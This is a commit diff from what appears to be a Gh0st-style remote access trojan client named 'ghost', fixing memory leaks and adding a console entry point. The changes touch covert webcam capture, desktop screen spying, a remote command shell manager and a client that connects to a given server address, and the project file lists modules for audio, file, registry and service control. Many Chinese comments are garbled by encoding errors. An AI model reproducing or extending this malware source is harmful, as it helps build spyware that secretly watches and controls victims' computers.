修复内存泄漏缺陷
详见ReadMe.txt
This commit is contained in:
@@ -8,14 +8,14 @@ public:
|
||||
CBuffer(void);
|
||||
~CBuffer(void);
|
||||
|
||||
ULONG CBuffer::GetBufferMaxLength();
|
||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
ULONG CBuffer::GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
|
||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength);
|
||||
VOID CBuffer::ClearBuffer();
|
||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength);
|
||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
PBYTE CBuffer::GetBuffer(ULONG ulPos=0);
|
||||
ULONG GetBufferMaxLength();
|
||||
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
ULONG GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
|
||||
ULONG DeAllocateBuffer(ULONG ulLength);
|
||||
VOID ClearBuffer();
|
||||
ULONG ReAllocateBuffer(ULONG ulLength);
|
||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
PBYTE GetBuffer(ULONG ulPos=0);
|
||||
|
||||
protected:
|
||||
PBYTE m_Base;
|
||||
|
||||
@@ -31,10 +31,11 @@ CCaptureVideo::~CCaptureVideo()
|
||||
m_pVW->put_Owner(NULL);
|
||||
}
|
||||
SAFE_RELEASE(m_pMC);
|
||||
SAFE_RELEASE(m_pVW);
|
||||
SAFE_RELEASE(m_pVW);
|
||||
SAFE_RELEASE(m_pGB);
|
||||
SAFE_RELEASE(m_pBF);
|
||||
SAFE_RELEASE(m_pGrabber);
|
||||
SAFE_RELEASE(m_pGrabber);
|
||||
SAFE_RELEASE(m_pCapture);
|
||||
|
||||
CoUninitialize() ;
|
||||
}
|
||||
@@ -42,91 +43,86 @@ CCaptureVideo::~CCaptureVideo()
|
||||
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
HRESULT hResult;
|
||||
|
||||
hResult = InitCaptureGraphBuilder(); //
|
||||
if (FAILED(hResult))
|
||||
printf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_OK;
|
||||
do
|
||||
{
|
||||
return hResult;
|
||||
}
|
||||
if(!BindVideoFilter(iDeviceID, &m_pBF)) //FDo
|
||||
return S_FALSE;
|
||||
hResult = InitCaptureGraphBuilder();
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
if(!BindVideoFilter(iDeviceID, &m_pBF))
|
||||
break;
|
||||
|
||||
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||
|
||||
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||
if(FAILED(hResult))
|
||||
{
|
||||
return hResult;
|
||||
}
|
||||
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
//m_pGrabber <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1 <20><>ʽ 2 <20>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>ʽ
|
||||
CComQIPtr<IBaseFilter, &IID_IBaseFilter> pGrabBase(m_pGrabber);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>ʽ
|
||||
AM_MEDIA_TYPE mt; //<2F><>Ƶ<EFBFBD><C6B5>ʽ
|
||||
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
|
||||
mt.majortype = MEDIATYPE_Video;
|
||||
mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 ;
|
||||
//m_pGrabber <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1 <20><>ʽ 2 <20>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>ʽ
|
||||
CComQIPtr<IBaseFilter, &IID_IBaseFilter> pGrabBase(m_pGrabber);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>ʽ
|
||||
AM_MEDIA_TYPE mt; //<2F><>Ƶ<EFBFBD><C6B5>ʽ
|
||||
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
|
||||
mt.majortype = MEDIATYPE_Video;
|
||||
mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24
|
||||
|
||||
hResult = m_pGrabber->SetMediaType(&mt);
|
||||
if( FAILED( hResult ))
|
||||
{
|
||||
return hResult;
|
||||
}
|
||||
hResult = m_pGB->AddFilter( pGrabBase,L"Grabber");
|
||||
hResult = m_pGrabber->SetMediaType(&mt);
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
hResult = m_pGB->AddFilter(pGrabBase,L"Grabber");
|
||||
|
||||
if( FAILED(hResult))
|
||||
{
|
||||
return hResult;
|
||||
}
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //<2F><>̬
|
||||
&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||
if( FAILED(hResult))
|
||||
{
|
||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||
//<2F><>
|
||||
}
|
||||
if( FAILED(hResult))
|
||||
{
|
||||
return hResult;
|
||||
}
|
||||
hResult = m_pGrabber->GetConnectedMediaType(&mt);
|
||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //<2F><>̬
|
||||
&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||
if(FAILED(hResult))
|
||||
{
|
||||
//<2F><>
|
||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
if (FAILED( hResult) )
|
||||
{
|
||||
return hResult;
|
||||
}
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
hResult = m_pGrabber->GetConnectedMediaType(&mt);
|
||||
|
||||
//3 <20><><EFBFBD><D7BD><EFBFBD><EFBFBD> FDO һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾͽ<DDBE><CDBD><EFBFBD> <20>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
|
||||
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
|
||||
//mCB <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD> <20>и<EFBFBD><D0B8>ص<EFBFBD>
|
||||
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
|
||||
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
|
||||
//3 <20><><EFBFBD><D7BD><EFBFBD><EFBFBD> FDO һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾͽ<DDBE><CDBD><EFBFBD> <20>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
|
||||
FreeMediaType(mt);
|
||||
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
|
||||
//mCB <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD> <20>и<EFBFBD><D0B8>ص<EFBFBD>
|
||||
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
|
||||
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
|
||||
|
||||
hResult = m_pGrabber->SetBufferSamples( FALSE ); //<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
hResult = m_pGrabber->SetOneShot( FALSE );
|
||||
FreeMediaType(mt);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ʱ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BufferCB<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
hResult = m_pGrabber->SetBufferSamples( FALSE ); //<2F>ص<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
hResult = m_pGrabber->SetOneShot( FALSE );
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>OnTimer
|
||||
hResult = m_pGrabber->SetCallback(&mCB, 1);
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ʱ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BufferCB<43><42><EFBFBD><EFBFBD>
|
||||
|
||||
m_hWnd = CreateWindow("#32770",
|
||||
"", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
//<2F><><EFBFBD><EFBFBD>OnTimer
|
||||
hResult = m_pGrabber->SetCallback(&mCB, 1);
|
||||
|
||||
SetupVideoWindow(); //<2F><><EFBFBD>δ<EFBFBD><CEB4><EFBFBD>
|
||||
m_hWnd = CreateWindow("#32770", "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
|
||||
hResult = m_pMC->Run(); //<2F><><EFBFBD><EFBFBD>
|
||||
SetupVideoWindow(); //<2F><><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if(FAILED(hResult))
|
||||
{
|
||||
return hResult;
|
||||
}
|
||||
return S_OK;
|
||||
hResult = m_pMC->Run(); //<2F><><EFBFBD><EFBFBD>
|
||||
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
} while (false);
|
||||
|
||||
printf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
|
||||
return hResult;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -16,6 +16,48 @@ bool g_bThreadExit = false;
|
||||
HINSTANCE g_hInstance = NULL;
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
#if _CONSOLE
|
||||
|
||||
enum { E_RUN, E_STOP } status;
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
{
|
||||
g_bExit = true;
|
||||
while (E_RUN == status)
|
||||
Sleep(20);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
status = E_RUN;
|
||||
if (argc < 3)
|
||||
{
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
const char *szServerIP = argv[1];
|
||||
int uPort = atoi(argv[2]);
|
||||
printf("[remote] %s:%d\n", szServerIP, uPort);
|
||||
|
||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||
g_uPort = uPort;
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
status = E_STOP;
|
||||
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
|
||||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
@@ -58,6 +100,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||
|
||||
#endif
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
|
||||
@@ -21,6 +21,7 @@
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
|
||||
@@ -59,8 +59,6 @@ IOCPClient::~IOCPClient()
|
||||
while (S_RUN == m_bWorkThread)
|
||||
Sleep(10);
|
||||
|
||||
Sleep(5000);
|
||||
|
||||
DeleteCriticalSection(&m_cs);
|
||||
|
||||
m_bWorkThread = S_END;
|
||||
|
||||
@@ -25,7 +25,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
|
||||
m_bIsWorking = TRUE;
|
||||
m_bIsBlockInput = FALSE;
|
||||
|
||||
m_ScreenSpyObject = new CScreenSpy(16);
|
||||
m_ScreenSpyObject = new CScreenSpy(16);
|
||||
|
||||
if (m_ScreenSpyObject==NULL)
|
||||
{
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
#include "stdafx.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "Common.h"
|
||||
#include <stdio.h>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -26,11 +27,19 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
||||
}
|
||||
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_ulFullWidth = ::GetSystemMetrics(SM_CXSCREEN); //<EFBFBD><EFBFBD>Ļ<EFBFBD>ķֱ<EFBFBD><EFBFBD><EFBFBD>
|
||||
m_ulFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD>С<EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||
DEVMODE devmode;
|
||||
memset(&devmode, 0, sizeof (devmode));
|
||||
devmode.dmSize = sizeof(DEVMODE);
|
||||
devmode.dmDriverExtra = 0;
|
||||
BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
|
||||
m_ulFullWidth = devmode.dmPelsWidth;
|
||||
m_ulFullHeight = devmode.dmPelsHeight;
|
||||
printf("===> <20><><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>СΪ<D0A1><CEAA>%d x %d\n", m_ulFullWidth, m_ulFullHeight);
|
||||
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
|
||||
m_BitmapData_Full = NULL;
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||
|
||||
@@ -15,14 +15,14 @@
|
||||
class CScreenSpy
|
||||
{
|
||||
public:
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount);
|
||||
CScreenSpy(ULONG ulbiBitCount);
|
||||
virtual ~CScreenSpy();
|
||||
ULONG CScreenSpy::GetBISize();
|
||||
LPBITMAPINFO CScreenSpy::GetBIData();
|
||||
ULONG GetBISize();
|
||||
LPBITMAPINFO GetBIData();
|
||||
ULONG m_ulbiBitCount;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
||||
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
|
||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount,
|
||||
ULONG ulFullWidth, ULONG ulFullHeight);
|
||||
|
||||
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||
@@ -31,20 +31,20 @@ public:
|
||||
HBITMAP m_BitmapHandle;
|
||||
PVOID m_BitmapData_Full;
|
||||
DWORD m_dwBitBltRop;
|
||||
LPVOID CScreenSpy::GetFirstScreenData();
|
||||
ULONG CScreenSpy::GetFirstScreenLength();
|
||||
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength);
|
||||
LPVOID GetFirstScreenData();
|
||||
ULONG GetFirstScreenLength();
|
||||
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
|
||||
BYTE* m_RectBuffer;
|
||||
ULONG m_RectBufferOffset;
|
||||
BYTE m_bAlgorithm;
|
||||
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
|
||||
VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
|
||||
CCursorInfor m_CursorInfor;
|
||||
HDC m_hDiffMemDC;
|
||||
HBITMAP m_DiffBitmapHandle;
|
||||
PVOID m_DiffBitmapData_Full;
|
||||
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
||||
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
||||
LPBYTE szBuffer, DWORD ulCompareLength);
|
||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||
|
||||
@@ -107,12 +107,12 @@ BEGIN
|
||||
BLOCK "080404b0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A DLL"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.0.1"
|
||||
VALUE "InternalName", "ServerDl.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||
VALUE "OriginalFilename", "ServerDl.dll"
|
||||
VALUE "ProductName", "A DLL"
|
||||
VALUE "ProductName", "A GHOST"
|
||||
VALUE "ProductVersion", "1.0.0.1"
|
||||
END
|
||||
END
|
||||
|
||||
@@ -16,6 +16,7 @@ BOOL bStarting = TRUE;
|
||||
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
{
|
||||
bStarting = TRUE;
|
||||
m_hThreadRead = NULL;
|
||||
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
m_hShellThreadHandle = NULL;
|
||||
|
||||
12
client/TestRun.vcxproj.user
Normal file
12
client/TestRun.vcxproj.user
Normal file
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<RemoteDebuggerCommand>C:\Users\win7\Desktop\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||
<RemoteDebuggerWorkingDirectory>C:\Users\win7\Desktop\Remoter</RemoteDebuggerWorkingDirectory>
|
||||
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
|
||||
<DeploymentDirectory>C:\Users\win7\Desktop\Remoter</DeploymentDirectory>
|
||||
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
|
||||
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
144
client/ghost.vcxproj
Normal file
144
client/ghost.vcxproj
Normal file
@@ -0,0 +1,144 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ghost</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IntDir>$(Configuration)\ghost</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IntDir>$(Configuration)\ghost</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="CursorInfor.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
